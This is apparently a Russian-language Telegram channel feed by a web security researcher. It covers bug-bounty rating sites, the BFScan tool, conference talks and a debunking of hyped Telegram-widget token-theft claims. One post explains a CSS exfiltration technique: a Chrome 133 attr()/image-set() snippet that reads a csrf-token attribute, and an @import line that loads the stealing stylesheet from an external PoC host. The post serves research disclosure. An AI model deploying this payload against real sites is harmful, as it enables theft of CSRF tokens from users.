To be Continued

Про рейтинги платформ
Немного небольшой поток мыслей о площадках с рейтингами багбаунти платформ.
Почти синхронно вышли 2 площадки
- https://hackadvisor.io/programs
- https://eh.su/rating
Основная идея довольно простая - сделать более прозрачным опыт других людей на конкретной программе, чтобы можно было упростить процесс выбора.


Из 2 платформ лично более привлекательной мне кажется hackadvisor.io, по следующим причинам:
1. eh.su пока немного багованная в плане интерфейса ( Да и сам интерфейс не особо приятный лично для меня )
2. eh.su содержит только отечественные платформы ( Не понятно зачем мне условно заходить на 2 сайта, если могу смотреть все на одном )


А теперь про глобальные проблемы:
Первая и самая большая проблема - предвзятость негативного опыта. Формируя коротко - это эффект заключающийся в том, что люди чаще склонны уделять больше внимания именно негативу. Подумайте сами, с какой вероятностью в случае обычного триажа ( то есть все было и не плохо и не хорошо, а просто нормально ), вы зайдете на какой-то отдельный сайт написать отзыв? Думаю на самом деле вероятность крайне низка. В случае с простой оценкой вида лайк/дизлайк это работает ещё нормально, но в случае с развернутыми текстовыми отзывами, может получиться перекос который не отражает реальное положение дел.

Вторая проблема - это отсутствие хоть какой либо верификации хакера (То есть нельзя проверить реально ли ты сдавал что-то этой компании и как давно )

Третья проблема (которую думаю не признают многие). В спорах хакеров и триажеров очень часто не правы хакеры. Я сам не являюсь триажером (к счастью), поэтому не могу знать насколько глубака кроличья нора. Был только по одну сторону баррикад и имею опыт неадекватного триажа своих багов (вспомните хотя бы случай с майкрософт)
Однако за последние пол года мне писали довольно много людей с просьбой помочь с XSS, и иногда с тем чтобы помочь объяснить что-то трижерам. И очень часто я понимал, что на самом деле неправ хакер, а не команда триажа.
Ситуации делятся на 2 типа:
- Хакер обладает плохой технической базой, и например пытается сдать XSS на санбоксированном домене (При этом проигрывает на этапе коммуникации и не понимает, что хочет довести ему вендор)
- Люди не читают правила программ, очень часто видел что люди сдают в домены вне скоупа, или импакты вне скоупа. И тут нужно напомнить, что вендор сам вправе распоряжаться своими деньгами как хочет и строить свою матрицу рисков, хоть с RCE за 100$.
Кажется это может породить проблему, что вокруг некоторых программ может создаться негативный фон, просто потому что люди не умеют читать правила / сдают непонятно что, а потом обижаются.

Четвертая проблема, которая пока не очень релевантна. Нет функционала просмотра отзывов за период. Типичная ситуация, когда сменилась триаж команда и стало крайне лучше/хуже. В текущих реалиях обоих сайтов - будет немного неудобно трекать это через рейтинг.

Как решить первую проблему я не знаю. Но для уменьшения проблем 2 и 3 кажется платформам стоит задуматься о верификации хакеров. Сделать это довольно просто, на момент проверки заставляешь пользователя в личном аккаунте в описании на платорме указать что-то вида hackadvisor_verification: code. (Такая реализована на hackadvisory, на eh.su пока нет) И потом можно поставить лимит, ограничивающий людей с низкой репутацией на платформе от написания отзывов.

Подводя итоги, мотивы - здравые, реализация пока не очень. Время покажет взлетит ли вообще идея или проекты будут заброшены уже через год, пока на платформах слишком мало отзывов, поэтому они слабо выполняют свои функции

Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

    @PostMapping("createUser")
    public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
        return "response";
    }

В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.

POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
  "name": "name",
  "age": 1
}

Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.

Apple пока-что гордо занимают первое место с конца в плане коммуникаций с ресерчером
Узнал что мой баг был пофикшен просто из Apple security releases, никакой весточки не прислали ни с просьбой верифицировать фикс, ни о том что фикс вышел, мда...

Пост не по теме канала, но то что мне показалось очень важным
Есть такой человек - Андрей Викторович Столяров
Для тех кто не знал или забыл - он автор наверное одних из лучших книг по программированию на русском языке
Будучи ещё в школе я с радостью прочитал его книги
Сейчас узнал, что в потоке информационного шума пропустил очень важную новость - у него, к сожалению, обнаружили рак...
https://stolyarov.info/node/429

Пост я делаю не с целью обратить внимания или что-то вроде такого, а просто чтобы если кто-то вдруг как и я читал его книги (которые всегда были в бесплатном доступе) - не упустил сказать спасибо ему за все монетой.

Поспикал немного в Сеуле

Спасибо Metamask за упоминание в последнем своем релизе
https://metamask.io/news/metamask-security-report

Вчера как обычно сделал обычный пост в соц сети Илона Маска, который довольно сильно разошелся. Поэтому для тех кто читает только мой тг повторю тут.

Думаю многие знакомы с CSS exfiltration, а если нет можете прочитать статью 2 летней давности на portswigger
Основная идея тогда заключалась в том, чтобы с помощью CSS селекторов брутфорсить атрибуты тегов:

input[value^="a"] {
  --starts-with-a:url(/startsWithA);
}

Например так можно украсть CSRF токен, однако атака довольно нестабильная, медленная и тд. Довольно плохо реализуема.

Однако я обнаружил, что начиная с Chrome 133 произошло важное изменение в функции CSS attr, раньше она могла использоваться только с content property, теперь же вы можете использовать её вместе с переменными CSS (https://developer.chrome.com/blog/advanced-attr):

form {
    --val:  attr(csrf-token);
}

--val будет содержать содержать значение атрибута csrf-token
Однако мы не можем использовать такое внутри url:

form {
    --val:  attr(csrf-token);
    background: url(var(--val)); /* Correct */
}

Браузер просто проигнорирует такой property как неверный
Однако на помощь опять спешат новые стандарты CSS, чтобы добиться успеха достаточно использовать image-set

form {
    --val:  attr(csrf-token);
    background: image-set(var(--val)); /* Correct */
}

После чего просто сохраняете стиль с кражей нужного поля (например атрибута value у тега input с именем csrf-token)
И делаете @import с атакуемой страницы :

 @import url(https://pocs.neplox.security/css-2025-exfiltration.css);

После чего, как можно увидеть на скриншоте, через один запрос вы получите полное значение атрибута тега

Доклад услышал Токио и Сеул
Теперь можно с радостью объявить, что его в самой новой версии услышит Москва на Positive Hack Days 22 мая.

Последнее время начали распространять довольно странный материал, примеров много но прикреплю один - https://t.iss.one/innostage_group/2274
В чем суть, люди пишут о магическом эксплойте виджета телеграмм:
Суть атаки заключается по описанию в том что телеграм при логине через widget передает auth code через fragment как-то так:

https://web.telegram.org/#/login?auth_token=eyJhbGciOi...

И тут началось безумие, насколько я понимаю началось все с недавней статьи на хакере https://xakep.ru/2025/04/22/telegram-widget-bug/
Начнем с того что об этом упоминалась уже 11 месяцев назад в статье - https://lyra.horse/blog/2024/05/stealing-your-telegram-account-in-10-seconds-flat (Там кстати более реальный кейс атаки, но только при физическом доступе к устройству )

А теперь начнем с того как это начали раздувать, на примере того что выпустил Innostage:
1.

Мошенники создают специально подготовленные веб-сайты, содержащие
внедрённый JavaScript-код, который автоматически извлекает токен из
URL-адреса после перенаправления на web.telegram.org.

.
Без XSS на web.telegram.org вы не сможете получить fragment, а если у вас есть XSS на web.telegram.org, то существует более простые атаки, как минимум вы можете просто прочитать localStorage (Не перепроверял, но раньше telegram не хендлил проверку на то что сессия между устройствами перекинулась)

2.

Расширения, установленные в браузере пользователя, отслеживают все
посещаемые URL. При обнаружении параметра auth_token= происходит
автоматическое извлечение токена и его передача на сервер
злоумышленника.

Если расширение читает URL на который перешел пользователь, скорее всего у него просто есть возможность запускаться в контексте contentScript, следовательно он может просто выполнить те же самые действия что и в контексте XSS. Полезного тут мало.

3.

В незашифрованных или скомпрометированных сетях злоумышленники
используют MITM-атаки, прокси-перехват, DNS-спуфинг и другие методы
для анализа трафика и перехвата авторизационных токенов.

На web.telegram.org включен

Upgrade-Insecure-Requests: 1

Браузер будет пытаться всегда установить соединение через https, что уменьшает возможность атаки в публичных сетях. Ну и остальное тоже не очень релевантно, реально украсть аккаунт на расстоянии невозможно

4.

Заражённые приложения могут получить доступ к истории браузера,
системным логам или оперативной памяти, откуда извлекаются токены.

Тут тоже особо не добавляет новой поверхности атаки, при таком доступе и возможности чтения памяти, есть более простые вектора атак

5.

При краткосрочном несанкционированном доступе к разблокированному
устройству, злоумышленник может вручную открыть ссылку во
встроенном браузере Telegram и скопировать токен из адресной строки.

Действительно единственный рабочий сценарий, который однако требует физического доступа и просто упрощает атаку, а не вводит что-то новое.

В целом резюмирую. Из реальных векторов - упрощение атаки при физическом доступе к разблокированному устройству. Можно было бы наверное всем так писать, но к сожалению это не вызывало бы такого ажиотажа и классов в соц сетях
Не знаю зачем люди так делают, особенно компании. Но это хорошо показывает их уровень экспертизы
P.S. Советую заглядывать в таких случаях дальше хедера статьи, а не плодить панику у людей (особенно не связанных с ИБ) на пустом месте

Там оказывается открыли регистрацию на Pentest Award.

В этом году нормально так категорий, да и призов обещают много. В целом идейно круто, так как рассказ об атаке в свободной форме с сокрытием деталей - классный формат.

В том году был довольно позитивный фидбек от тех кого я знаю, поэтому если кто пропустил - советую поучаствовать.

https://award.awillix.ru/

Ребята из CTBP сделали довольно классный разбор моей последней техники, которая взорвала соцсеть Y
https://www.youtube.com/watch?v=Ae4cR00P9LU

Не долго музыка играла, не долго слонсер танцевал
Но люди успели успели заработать на H1)

Сегодня в 12:00 приходите на наш доклад на PHD в треке offensive ( зал 25, POPOV )
Для тех кто не придет ногами, можно будет смотреть трансляцию
https://phdays.com/ru/forum/broadcast/?selectedTagSlug=offense

P.S. Для трёх лучших вопросов мы приготовили специальные подарки, так что любители подушить вопросами тоже приглашаются

Ждём всех через полтора часа!

Один из интереснейших ресерчей на PHD на данный момент

Сегодня на PHDays буду рассказывать про особенность Apport, которая позволяет при определенных конфигурациях системы сделать LPE. Более подробный разбор можно почитать в блоге.

Выступлю на VK Security Confab, приглашаю всех послушать!

Думаю многим багхантерам знакома ситуация когда нашел Self-XSS и её не сдать по правилам программы
Используя современные возможности браузеров я попытался исправить эту ситуацию
Читайте в моем последнем ресерче
https://blog.slonser.info/posts/make-self-xss-great-again/